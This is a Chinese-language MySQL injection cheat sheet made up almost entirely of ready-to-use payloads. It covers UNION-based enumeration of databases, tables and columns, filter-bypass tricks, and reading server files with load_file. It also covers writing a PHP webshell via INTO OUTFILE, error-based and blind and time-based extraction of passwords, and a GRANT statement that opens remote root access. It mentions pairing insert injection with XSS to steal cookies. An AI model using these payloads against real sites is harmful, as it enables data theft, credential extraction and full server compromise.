MySQL注入總結

0x00 mysql通常注入(select)

1.註釋符

#
/*
--

2.過濾空格注入

使用/**/或()或+代替空格

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

3.多條數據顯示

concat()
group_concat()
concat_ws()

4.相關函數

system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user()鏈接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
load_file() MYSQL讀取本地文件的函數
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操做系統 Windows Server 2003

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql通常注入語句

猜字段數

order by n/*

查看mysql基本信息

and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*

查詢數據庫

and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*

and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*

查詢表名

and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=數據庫的16進制編碼 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=數據庫的16進制編碼/*

查詢字段

and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_schema=數據庫的16進制編碼 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_schema=數據庫的16進制編碼/*

查詢數據

and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 數據庫.表/*

判斷是否具備讀寫權限

and (select count(*) from mysql.user)>0/*

and (select count(file_priv) from mysql.user)>0/*

6.mysql讀取寫入文件

必備條件：

讀：file權限必備

寫：1.絕對路徑 2.union使用 3. 能夠使用''

-------------------------讀----------------------

mysql3.x讀取方法

create table a(cmd text);

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;

select * from a;

mysql4.x讀取方法

除上述方法還能夠使用load_file()

create table a(cmd text);

insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));

select * from a;

mysql5.x讀取方法

上述兩種均可以

讀取文件技巧：

load_file(char(32,26,56,66))

load_file(0x633A5C626F6F742E696E69)

------------寫--------------------------

into outfile寫文件

union select 1,2,3,char(這裏寫入你轉換成10進制或16進制的一句話木馬代碼),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

0x01 mysql通常注入(insert、update)

mysql通常請求mysql_query不支持多語句執行，mysqli能夠。

insert注入多使用報錯注入!

1.若是能夠直接插入管理員能夠直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');

2.若是能夠插入一些數據，這些數據會在網頁中顯示，咱們能夠結合xxs和csrf來獲取cookies或getshell

update注入同上

0x02 mysql報錯注入

1. and(select 1 from(select count(*),concat((select (select (語句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

語句處填入通常一句，如：SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

2. and+1=(select+*+from+(select+NAME_CONST((語句),1),NAME_CONST((語句),1))+as+x)--

3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b);

4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b)));

0x03 mysql通常盲注

使用ascii

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正則表達式

and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

0x04 mysql時間盲注

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'

0x05 mysql其餘注入技巧

之後碰見了更新

0x06 mysql數據庫版本特性

1. mysql5.0之後 information.schema庫出現

2. mysql5.1之後 udf 導入xx\lib\plugin\ 目錄下

3.mysql5.x之後 system執行命令